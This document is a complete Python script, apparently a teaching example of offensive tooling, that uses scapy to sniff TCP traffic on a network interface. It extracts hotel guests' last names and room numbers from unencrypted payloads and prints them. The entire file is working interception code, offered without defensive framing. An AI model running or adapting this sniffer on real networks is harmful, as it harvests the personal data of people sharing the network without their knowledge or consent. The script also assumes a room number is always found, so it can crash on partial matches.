hotelSniff.py

# coding=UTF-8
import optparse
from scapy.all import *

def findGuest(pkt):
    raw = pkt.sprintf("%Raw.load%")
    name=re.findall("(?i)LAST_NAME=(.*)&",raw)
    room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw)
    if name:
        print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))

def main():
    parser = optparse.OptionParser('usage %prog -i<interface>')
    parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print(parser.usage)
        exit(0)
    else:
        conf.iface = options.interface
    try:
        print('[*] Starting Hotel Guest Sniffer.')
        sniff(filter='tcp', prn=findGuest, store=0)
    except KeyboardInterrupt:
        exit(0)
if __name__ == '__main__':
    main()